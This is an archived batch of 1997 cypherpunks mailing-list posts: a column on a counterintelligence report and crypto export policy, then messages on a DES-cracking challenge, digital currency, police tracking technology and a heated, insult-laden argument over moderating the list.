       The eight-page quarterly report says that malevolent "foreign
   entities" are sorting through web sites, pounding on search engines
   and firing off e-mail queries to U.S. defense contractors in hopes of
   winnowing out sensitive data.
   
       "Use of the Internet offers a variety of advantages to a foreign
   collector. It is simple, low cost, non-threatening and relatively
   'risk free' for the foreign entity attempting to collect classified,
   proprietary, or sensitive information... We also know foreign
   intelligence and security services monitor the Internet," says the
   report, which is distributed to government agencies and contractors.
   
       Search engines apparently serve spies well. Want a copy of
   something you shouldn't be able to get? Perhaps it was left in an
   unprotected directory; try Altavista. "Foreign intelligence services
   are known to use computers to conduct rudimentary on-line searches for
   information, including visits to governments and defense contractors'
   on-line bulletin boards or web sites on the Internet. Access to
   Internet advanced search software programs could possibly assist them
   in meeting their collection requirements," the NACIC briefing paper
   says.
   
       Beware of spam from spies, it warns: "These foreign entities can
   remain safe within their borders while sending hundreds of pleas and
   requests for assistance to targeted US companies and their employees."
   Of course! This is any e-mail spammer's modus operandi: Flood an
   astronomical number of addresses at an infinitesimal cost. Then hope
   that at least some recipients will respond with the information you
   want.
   
       This isn't the first time that the Clinton administration has
   painted economic espionage as a dire threat. Last February, FBI
   director Louis Freeh warned the Senate Select Committee on
   Intelligence of the possible harm. He said foreign governments are
   especially interested in "economic information, especially
   pre-publication data" including "U.S. tax and monetary policies;
   foreign aid programs and export credits; technology transfer and
   munitions control regulations... and proposed legislation affecting
   the profitability of foreign firms acting in the United States."
   
       Note to Freeh: That information already is online. For proposed
   legislation, try Thomas -- or for munition regulations, the White
   House web site is a good bet.
   
       But forget Freeh's rhetoric. The White House isn't serious about
   halting the overseas flow of American secrets over the Net. If it
   were, President Clinton would lift the crypto export embargo. Strong
   encryption is the most effective way for companies to fend off
   foreign data-pirates, but current regulations allow U.S.
   multinational firms to use only the cipher-equivalent of a toy cap
   gun. Worse yet, last week the Commerce Department moved further in
   the wrong direction by releasing its new encryption export
   regulations that continue to keep American businesses at a
   competitive disadvantage compared to their foreign competitors, which
   generally are less hampered by crypto export rules. "The new
   regulations are worse" than the old, says Dave Banisar, a policy
   analyst at the Electronic Privacy Information Center.
   
        Sure, France and Britain spy on us for economic purposes. But
   we're just as guilty. We snooped on the French -- and got several
   U.S. "diplomats" kicked out of France two years ago. We peeked at
   Japanese secrets during automobile trade negotiations -- and got
   caught then, too. Especially under President Clinton, economic
   intelligence has become part of the mission of our spy agencies. Yet
   if we complain about other countries while doing it ourselves, we
   become hypocrites.
   
       Stanley Kober, a research fellow at the Cato Institute, argues in
   a recent paper that it's "folly" for the U.S. to continue such spying
   and risk alienating political allies: "The world is still a dangerous
   place, and it would be folly for the democracies to engage in nasty
   intramural squabbles. Yet that is the danger that economic espionage
   against other free societies poses."
   
       "Washington ought to consider that it may need the cooperation of
   Paris (or other Western capitals) to help deal with a mutual security
   threat" from terrorism, Kober writes.
   
       I asked Kober what he thought of the NACIC report. "It strikes me
   as a normal security reminder," he says. "The specifics are fairly
   slim. It's not the sort of thing that's sent to everyone. It's sent
   to their clients, the people who have government contracts. Since the
   Internet is new, they're telling people to be careful."
   
       Indeed, netizens must be careful. It's common sense, really, and
   defensive driving for the Net. Encrypt that e-mail. Use the
   anonymizer at least once a day. Let paranoia be your watchword. That
   e-mail from your mother may come from the KGB. When you're not
   watching it, your monitor may be watching you.
   
   Be afraid, Maxwell Smart. Your shoe phone may be listening back. 

###







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wb8foz@netcom.com
Date: Mon, 6 Jan 1997 20:52:54 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Germany Passes Sweeping Cyberspace Legislation 01/06/97 (fwd)
Message-ID: <199701070452.UAA23628@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


BONN, GERMANY, 1997 JAN 6 (NB) -- By Sylvia Dennis. The German  
government passed a major round of legislation in the runup to 
Christmas that aims at regulating the Internet and protecting user 
privacy. 

	No surprise there....

{}
The law also prohibits the use of "cookies," software applets that
trace a user's path across the Internet and recording the data they
view.

	This is, to me!

-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Reid <steve@edmweb.com>
Date: Mon, 6 Jan 1997 20:57:31 -0800 (PST)
To: Mike Duvos <mpd@netcom.com>
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <199701070256.SAA00819@netcom8.netcom.com>
Message-ID: <Pine.BSF.3.95.970106201656.1932A-100000@bitbucket.edmweb.com>
MIME-Version: 1.0
Content-Type: text/plain


> > It looks like there'll be an ascii-plaintext challenge (we won't
> > know the full plaintext - just that it's ascii, and long enough to
> > be unambigious)
> 
> Ick.  Why overly complexify things?  A known plaintext attack would be
> far more straightforward.  After all, the goal is to recover the key,
> not the message.

I think a completely known-plaintext attack would not impress the
masses. Consider how often crypto illiterate programmers implement
ciphers (such as Vigenere variants) which are obviously vulnerable to
known-plaintext attacks. The idea seems to be that if you know the
plaintext, what do you need the key for? _We_ may know better, but I
think we are in the minority.

For a slight increase in the computational requirements, we could end up
with a break that the "DES is good enough" people would have a _much_
harder time downplaying. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Mon, 6 Jan 1997 18:19:22 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701060306.WAA22463@wauug.erols.com>
Message-ID: <199701070209.VAA04413@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>>>>> "Igor" == Igor Chudov @ home <ichudov@algebra.com> writes:

Igor> Moderation may or may not be a good idea, but it is important
Igor> that readership keeps a close eye on their rulers.

I certainly agree, and would venture a guess that Sandy would also
agree. After all, doesn't the proposal also include a completely
unfiltered version of the list, as well as a list made up of messages
that the moderator rejected?

Some of the most interesting projects to combat spam and other
nonsense recently have tended to focus on ways to allow folks the
ability to choose whose judgement they want to trust, and/or ignore
the rants and spews of idiots without actually silencing them.

These seem to be the solutions with the greatest potential for dealing
with the problem without introducing lots of other social
ramifications.

I, for my part, will read the moderated version, and watch the list of
rejects for things that Sandy's criteria for rejectable might be
different from mine. I expect these differences to be few and far
between, if they exist at all. If you prefer to read the list
completely without moderation, that is your prerogative, and the
proposed requirements for a moderated list (i.e., availability of an
unmoderated list) allows that. What isn't clear to me is why some seem
so interested in the (pointless) name-calling and opposition to the
availability of the list in moderated format.

- -- 
Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Mon, 6 Jan 1997 18:25:35 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.94.970106015521.18277A-100000@polaris>
Message-ID: <199701070216.VAA04417@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>>>>> "Dale" == Dale Thorn <dthorn@gte.net> writes:

Dale> I'll tell you something else. If I have an opportunity to
Dale> contribute to a project that can fight censorship of this kind,
Dale> I will do so eagerly.

OK, Dale, you oppose censorship.

If you don't like the moderated version of the list, subscribe to the
unmoderated version. As long as an unmoderated version is available,
what, exactly, is the problem?

- -- 
Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet

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zDmEPzfIq+Jlw9gqgUCUNtEr3T3ThFfKBF3/pVyxVpUE7Au5grF6xw==
=8OKB
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 6 Jan 1997 19:10:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation=YES
In-Reply-To: <199701061924.LAA15159@count04.mry.scruznet.com>
Message-ID: <0L45ZD3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks@count04.mry.scruznet.com writes:

>
>
> Please as soon as possible... make this into a moderated list...
>
> then I can kiss this noise goodbye...
>
>     cheers
>     a cypherpunk

I'm glad I'm not a "cypher punk" and oppose censorship.

Comrade Goen is not a real person. He's another Timmy May tentacle.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 6 Jan 1997 19:10:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Modified Token Posting Scheme
In-Reply-To: <199701062255.OAA02600@peregrine.eng.sun.com>
Message-ID: <ss45ZD4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ed.falk@Eng.Sun.COM (Ed Falk) writes:

> How about this simple policy scheme:
>
>   1) posts from known list members forwarded to list automatically
>   2) posts with "approval cookie" also forwarded automatically
>   3) otherwise, forwarded only after approval by moderator,

I.e., libel from Timmy May, Ray Arachelian, and the rest of the gang
is approved automatically, and when a victim tries to defend himself
and to point out that Timmy May is a liar, the response is delayed
and probably rejected by the moderator.

It's been said that the best response to speech one doesn't like
is more speech. "Cypher punks" want to take away the victim's
ability to respond to the lies being posted on their mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 6 Jan 1997 19:12:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation
In-Reply-To: <Pine.SUN.3.91.970106120531.13263B-100000@beast.brainlink.com>
Message-ID: <J445ZD5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <sunder@brainlink.com> writes:
> If you don't want noise, I run a free filtered list.  To get help on it,
> send a private message (do not reply to this one, or it will be ignored
> by the bots if it comes through cypherpunks) with the >SUBJECT< "fcpunx
> help" (the body of the message is ignored.)

When Ray Arachelian posts lies to this mailing list, he also forwards
them to his censored mailing list. When the victims of Arachelian's
libel refute his lies, Ray does not forward their responses to his
mailing list. Sandy liked this setup so much, he wants the whole
"cypher punks" mailing list to be censored this way.

No wonder - "cypher punks" are opposed to wide availability of crypto,
privacy, secure communications, and free speech in general. As they
keep saying, free speech should only be available to the "elite" who
will use it "responsibly" - no free speech for Jews or homophobes.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 6 Jan 1997 18:40:44 -0800 (PST)
To: Cypherpunks <antimod@nym.alias.net>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <19970107002313.2511.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970106213057.1440A-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 7 Jan 1997, Against Moderation wrote:

> Why do you think that load is a problem?  I mean most people are not
> going to want to subscribe to multipel versions of the mailing list,
> right?  So why are three mailing lists with a total of ~3,000 users
> any more of a load than 2 mailing lists with a total of ~2,000 users?

I guess we will have to see how the "experiment" goes.  The original list did
say that one of the non-moderated lists would be discontinued.  Anyone who
wants to receive the full list but be able to sort according to moderator's
approval will have a difficult time doing this without subscribing to more
than one list.  If one of the two non-moderated lists gets dropped, the only
way to do this would be to subscribe to two lists receiving duplicate messages.

> 2. Even if it did mean more subscribers, why is load a problem?  I
> mean, even sendmail can easily handle the current load of cypherpunks,
> and there are many packages way faster than sendmail (exim should be
> particularly good at this kind of load, for instance.  Qmail is also
> generally way more efficient than sendmail).  And don't tell me these
> are hard or a pain to install, because I'm willing to set this up and
> run it on my hardware if that's what it takes to get an unedited,
> unmoderated cypherpunks list.

Bandwidth is a problem.  This list distributes about 50 2K messages to 1500
subscribers per day (this is just an estimation, but I don't think it's too
far from reality).  This amounts to 150Mb per day.  I'm sure compute cycles
aren't too much of a problem.  Anyway, I'm just basing most of this on the
original announcement.  I don't know to what extent this will effect toad.


Mark
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qO5CQsv6sQ9LgVwcPHv3viyeFIWO9NXGNdQ9NOI+Ha0Xq1Hy0TlQ5w==
=pq8e
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 6 Jan 1997 19:12:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Why hate David Lesher.....
In-Reply-To: <199701061659.LAA26346@wauug.erols.com>
Message-ID: <1045ZD6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com> writes:

Why are you hated by RBOC's in 5 states?  I think I saw you at a DC punks
meeting last August and you didn't look like a kind of guy capable of
generating much hatred. :-)

Also, are these 5 separate RBOC's, or the same RBOC servicing 5 states?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 6 Jan 1997 21:49:49 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.94.970106221043.3832B-100000@polaris>
Message-ID: <32D1E39F.44A9@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn wrote:
> On Mon, 6 Jan 1997, Dale Thorn wrote:
> > Black Unicorn wrote:
> > > On Sun, 5 Jan 1997, Dale Thorn wrote:
> > > > Marc J. Wohler wrote:

[Much Unicorn drivel snipped]

> The bathroom is at the end of the hall.  It's not a long walk.

You must be in bed with Sandfort.  I can't believe you would waste all
that energy replying point-by-point to something you consider nonsense.

Of course, your claims of "nonsense" etc. are to be expected of a
security-crazed control freak who desperately wants cypherpunks
subscribers to believe in him.

I have to reject all of your contentions because:

1. You're not sincere.
2. You're not credible.
3. Your sense of history is strictly corporate, i.e., Mickey Mouse
   and Elmer Fudd.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Mon, 6 Jan 1997 21:58:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation
In-Reply-To: <199701070055.QAA11918@hammerhead.com>
Message-ID: <32D1E682.4BDC@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Thaddeus J. Beier wrote:
> 
> This will fail if flames migrate from cypherpunks-flames to
> cypherpunks, I would attempt to prohibit threads that only exist in
> cypherpunks-flames being continued into the moderated list.  This'll 

I disagree. I think it's quite conceivable that a serious point could
arise from the flames. If a moderator can't be challenged based on
what happened with the reject list, what's the point of having a reject
list in the first place?

Anyway, I don't think such a rule is possible to implement, nor would it 
protect the moderator from other forms of denial-of-service attack even 
if it were implemented.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 6 Jan 1997 22:19:22 -0800 (PST)
To: cmcurtin@research.megasoft.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.94.970106015521.18277A-100000@polaris>
Message-ID: <32D1EA88.7C4F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


C Matthew Curtin wrote:
> >>>>> "Dale" == Dale Thorn <dthorn@gte.net> writes:
> Dale> I'll tell you something else. If I have an opportunity to
> Dale> contribute to a project that can fight censorship of this kind,
> Dale> I will do so eagerly.

> OK, Dale, you oppose censorship.
> If you don't like the moderated version of the list, subscribe to the
> unmoderated version. As long as an unmoderated version is available,
> what, exactly, is the problem?

This is cool.  I get to respond to a literate question.  How unusual.

1. Sandfort is the person who would never drop an argument, no matter
   how long, until he had the last word.  I know since I went rounds
   with him a time or two.  As far as I can tell (not being a profess-
   ional psychologist), Sandy has some emotional limitations that would
   make him a poor choice to moderate such an intense list as this.
   Certainly the moderated list would still be quite intense, since
   the intent is to be a political/social forum. Sandfort unfortunately
   appears to be a special friend of Gilmore's, and I don't think John
   has taken the time to consider the outcome.

2. The only possible scheme that could work long-term would be a moderated
   list plus a deleted (excised?) list of posts which didn't make the
   moderator's cut. Having a moderated list and a full unmoderated list
   is certain to fail, and I'm not too sure that they don't have this in
   mind already.

3. Not making the unmoderated list first-up (i.e., cutting posts first,
   then making the "full" list available later) is suspicious, or at
   least a bad idea.

4. Moving everyone to the moderated list and then having people who want
   the full list unsubscribe and resubscribe is more evidence of bad
   faith.  If what Sandy says is true (I don't believe it), the vast
   majority of posts (excluding obvious spam, probably 75 or more a day)
   will be in the moderated list, therefore I think anyone can see that
   merely cutting the spam and bad flames is not the ultimate intent.
   To do that, all they would have had to do is announce a bucket where
   they're dropping the excisions, and let whoever wants them to pick
   them up from there. Maybe they thought that would make them look bad,
   but before this is over (if they continue on their present course),
   they're going to look much worse.

I just can't believe Gilmore wants to have Sandfort do this.  There's
gotta be someone he can trust who has a viable reputation.  Then again,
who with a decent reputation would want to moderate cypherpunks?

BTW, thanks for the literate reply.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Mon, 6 Jan 1997 19:22:03 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D0BD19.1AB7@gte.net>
Message-ID: <Pine.SUN.3.94.970106221043.3832B-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 6 Jan 1997, Dale Thorn wrote:

> Black Unicorn wrote:
> > On Sun, 5 Jan 1997, Dale Thorn wrote:
> > > Marc J. Wohler wrote:
> > > > I have the utmost confidence  in Sandy and his efforts to revive the
> > > > quality of our list.
> 
> > > And I have all the confidence in the world in William Bennett,
> > > George Bush, and all their wonderful helpers in helping with the
> > > Boys and Girls Clubs of Southern California.
> > > Why not re-elect Hitler?
> 
> > One knows one has come up with a potent weapon against one's enemies when
> > they begin to panic visibly like this. The smell of fear is in the air.
> 
> Fear?  What fear?  I had a long and productive life before I subscribed
> here, and what with 1,000 or so programming projects awaiting me (and
> most other competent programmers), I certainly won't be wasting time
> bemoaning the fact that Sandy Sandfort "won" here, any more than I
> bemoan the fact that most wars anywhere are won by the bad guys.

Uh, Mr. Thorn, you already have wasted time in exactly that way.

> > The question is, will the ultimate internet trump card of a distractor
> > (Reference Godwin's law) divert the issue and save poor Mr. Thorn from a
> > policy which is certainly going to be a devastating impact on his public
> > exposure from here on out?
> 
> I'll tell you something else. If I have an opportunity to contribute to
> a project that can fight censorship of this kind, I will do so eagerly.

Calling the moderation plan on the table "censorship" is quite a stretch.
I'm sure it serves your rhetorical purposes, but other than that it is
merely hot air.

> OTOH, I have no "tentacles", nor will I ever have such things.  I am not
> a communications, security, O/S, or other such kind of programmer/person,
> and I will not get into those types of applications short of physically
> saving my life.  In other words, if Sandfort/Gilmore cuts me off in the
> long run, it's doubtful you'd hear from me again unless something is
> forwarded from Freedom-Knights, and even that is doubtful.
> 
> > It does amuse me that George Bush and William Bennett are thrown out
> > for fear mongering purposes before Godwin's law is invoked.
> 
> One would think you would understand the principle of using examples
> to illustrate a point.

When those examples are chosen in a logical and directed way to
accomplish the intended association, yes.  You, however, have failed on
both accounts here.

> The very idea that those names would automatic-
> ally inspire fear is amusing.

Your propaganda knowledge is sorely lacking for one who would aspire to
influence thought by invoking Hitler and Bush in consecutive sentences.  I
admire your honesty in admitting yourself that those names were poorly
chosen, however.

> > One would think Mr. Thorn had mistaken the list for a liberal stronghold.
> 
> Having read a lot of the crap put out by organizations from the KKK to
> the ADL (all scumbags BTW), I no longer take the naive position that a
> person is "liberal"

Seems your reading habits and choice of material have twisted your psyche
a bit beyond the point of reason.

> (hence, one-dimensional) or "conservative", or any
> other convenient tag.  Some people are liars, hypocrites, and assholes,
> though, and I prefer to determine that by their actions rather than
> their speculations.

You're batting 0 for 5.
 
> > Then again, no one ever accused Mr. Dale "Snake Oil" Thorn of being
> > afflicted with a strong writer's sense of audience).
> 
> You mean I don't tailor my prose to what people want to hear?

I mean you have no clue what prose is appropriate and what is not.
Selling snake oil on this list, for example.

> Better yet, I don't go somewhere else where maybe I would be more
> welcome with my ideas?

That you don't flaunt ideas clearly flawed to the experts in the field
would be a better example.

> I'm embarrassed for you, for your lack of
> imagination.  And if the "snake oil" tag refers to my ideas on
> crypto software (i.e.., PGP), well, you have a long way to go
> before you provide a serious mental challenge to me.

The bathroom is at the end of the hall.  It's not a long walk.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 6 Jan 1997 22:26:54 -0800 (PST)
To: cypherpunks@count04.mry.scruznet.com
Subject: Re: Moderation=YES
In-Reply-To: <199701061924.LAA15159@count04.mry.scruznet.com>
Message-ID: <32D1EC42.65B2@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks@count04.mry.scruznet.com wrote:
> Please as soon as possible... make this into a moderated list...
> then I can kiss this noise goodbye...

Could you please (!) state for the record:

1. Why you can't use filters?

2. Why you want your news censored?  Do you think when (if) you pick
   up your favourite big-city newspaper, that having a "Times Staff
   Writer" edit (rewrite) all the stories is better than getting them
   straight off the wire, i.e., AP, UPI, etc.?  I'll bet you do, you
   budding little fascist.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 6 Jan 1997 22:36:54 -0800 (PST)
To: Douglas Barnes <cman@c2.net>
Subject: Re: Thoughts on moderation
In-Reply-To: <3.0.32.19970106143122.00d9d5d4@gabber.c2.net>
Message-ID: <32D1EEB0.38F8@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Douglas Barnes wrote:
> 1) I've known Sandy for a couple of years, and I trust him to
>    use good judgement as a moderator. It will be important to
>    develop guidelines so that the job can be rotated, but it's also
>    important that the moderator be someone who doesn't have any
>    major axe to grind. Sandy has his personal likes and dislikes,
>    but I don't think he'll ever stoop to tossing out opinions that
>    he disagrees with.

Wishful thinking, Doug.  Sandy will take an emotional (non-objective)
position on an issue, and argue it beyond any reasonable limit. I wish
I had all his replies to things I've said - you'd see what I mean.

Not to promote anyone who I might not be a friend of, but, there are
people on this list who are "well respected" who are light-years ahead
of Sandy in areas that are important for a list moderator.

Maybe Gilmore should have publicly announced for a moderator, and then
let the subscribers pick....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 6 Jan 1997 22:54:24 -0800 (PST)
To: Ed Falk <ed.falk@Eng.Sun.COM>
Subject: Re: ONE MILLION CHILDREN.....
In-Reply-To: <199701062248.OAA01889@peregrine.eng.sun.com>
Message-ID: <32D1F05A.F87@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Ed Falk wrote:
> What did cypherpunks do to get so much spam?

They did what all huns do - they ruthlessly eradicated those who were
dissidents, and now they're gonna bring their collective boots down
on the necks of whoever is left.

Does this mean the little moustache is coming back into fashion?
I hope not.  It's bad enough having Reno, Gore, and the rest of
those bozos running around free.

Go search out a list called net.scum (or something similar) and see
who's there, and why.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 6 Jan 1997 23:04:27 -0800 (PST)
To: m5@vail.tivoli.com
Subject: Re: High-tech tracking by police raises legal outcry
In-Reply-To: <19970106033902.1417.qmail@squirrel.owl.de>
Message-ID: <32D1F51A.5EA9@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Mike McNally wrote:
> Secret Squirrel wrote:
> > The technology, marketed by a company called Teletrac, is simple:
> > A tramsmitter sends a radio signal to a computer ...

> Anybody know the frequencies used?
> (Anybody willing to guess whether the FCC might quietly introduce
> prohibitions against scanners that can receive those frequencies?)

The newer scanners are apparently moving more of their "intelligence"
to EEPROM (or Flash memory), which makes a permanent fix extremely
difficult for the feds.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "L. A" <lefteris@kom.forthnet.gr>
Date: Mon, 6 Jan 1997 13:26:47 -0800 (PST)
To: <XDim@worldnet.att.net>
Subject: JOIN US IN THIS NEW PROGRAM
Message-ID: <199701062120.XAA24556@info.forthnet.gr>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gary Howland <gary@systemics.com>
Date: Mon, 6 Jan 1997 14:13:52 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <01ID64VQ21UOAEL9VT@mbcl.rutgers.edu>
Message-ID: <199701062213.XAA20921@internal-mail.systemics.com>
MIME-Version: 1.0
Content-Type: text/plain


"E. Allen Smith writes:
> 	Privately-produced currencies, with a few (unfortunately minor)
> exceptions, are currently more of a free market economist idea than a reality;
> current governments are quite close on keeping their monetary powers (witness
> the protests in Europe against going the opposite way, to a common currency;
> also witness governmental attempts at keeping the free market from determining
> exchange rates).

I would argue that it is the people, not the governments, that don't want a 
common currency in Europe.  Of course it's a different story with the poor EU 
countries....


> It is possible that private digital currencies will solve
> this problem, since they are much cheaper to produce than paper money is to
> print and can be traded privately much easier.

But digital currencies will never become fiat currencies, let alone legal 
tender, unless governments say they are.  So why should they worry?  (OK, OK, 
they will worry about tax evasion etc. etc.)


> There are likely to still be
> some legal problems with them, although A. selecting the proper country to
> base an issuer out of and B. not actually making avaliable through the issuer
> the reverse transaction - privately produced money to governmental money -
> only transactions for governmental money to privately produced money and
> privately produced money for services and/or goods may do the trick.

You seem to be forgetting that trade is a two way operation.


> 	Greater spendability refers to that when this bond is converted to
> government-backed dollars, most businesses will currently accept such dollars.
> This is unlikely to be the case for the first few years for a private
> currency, although an increased ease of exchange of a digital (as opposed to
> governmental paper) currency may make up for this difficulty.

I doubt this - I'm sure companies as well as people are more inclined to trust 
some private organisations than they are governments.  Of course there will 
always be a cost attached to the risk and ease of use.


> 	I doubt that most of the governmental types involved in making this
> decision know about privately produced currencies... but some may, and may
> have encouraged central bankers et al (and those who oppose Greenspan for
> his (quite admirable) opposition to inflation, like numerous politicians) to
> encourage this idea; assuming complete innocence of a particular motive on
> the part of any large organization is generally about as ignorant (and often
> stupid) as assuming complete guilt. Moreover, government competition with
> the private sector is rarely beneficial; in this particular area, I'd point
> out that it isn't reducing the cost of borrowing, it's increasing it - when
> lenders can lend to the government, they're _not_ lending to private
> businesses and others who can make far better use of the money. This factor,
> in a large part, is why most economists are in favor of a reduction in the
> government deficit.

Since you mentioned Greenspan, I thought I'd use the opportunity to quote him:

  "Regulation - which is based on force and fear - undermines the moral base
  of business dealings. It becomes cheaper to bribe a building inspector than
  to meet his standards of construction. A fly-by-night securities operator
  can quickly meet all the S.E.C. requirements, gain the inference of
  respectability, and proceed to fleece the public. In an unregulated
  economy, the operator would have had to spend a number of years in
  reputable dealings before he could earn a position of trust sufficient to
  induce a number of investors to place funds with him. Protection of the
  consumer by regulation is thus illusory."

    -- Alan Greenspan


> P.S. Sorry about the lateness of this reply, but I'm just getting around to
> some of my earlier mail.

Likewise.


Gary






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 6 Jan 1997 23:26:52 -0800 (PST)
To: roy@scytale.com
Subject: Re: An observation on the moderation thread.
In-Reply-To: <970106.070952.6C5.rnr.w165w@sendai.scytale.com>
Message-ID: <32D1FA5C.6D04@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Roy M. Silvernail wrote:
> Of passing interest: I'm seeing the majority of complaints about list
> moderation only as they are quoted in others' replies, because the
> origional complainents are already in my killfile.

So this jerk (number ???) admits the problem is already solved,
then goes on to say "yeah, Sandy, block some more, just in case
my killfile misses one".

You would have loved Hitler.  When he got wound up, everyone stood
up and cheered.  Public TV still celebrates Henry Ford, one of
Hitler's idols.  Schools for children in America still celebrate
Andrew Jackson, genocidal racist though he was.

You're nothing new, Roy.  Just another fascistic voice calling for
the Final Solution.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 6 Jan 1997 23:31:05 -0800 (PST)
To: "Thaddeus J. Beier" <thad@hammerhead.com>
Subject: Re: Moderation
In-Reply-To: <199701070055.QAA11918@hammerhead.com>
Message-ID: <32D1FB50.321D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Thaddeus J. Beier wrote:
> I think that this is a completely fabulous idea, an commend John and
> Sandy for doing this.  Let me add my own suggestion.
> This will fail if flames migrate from cypherpunks-flames to cypherpunks,
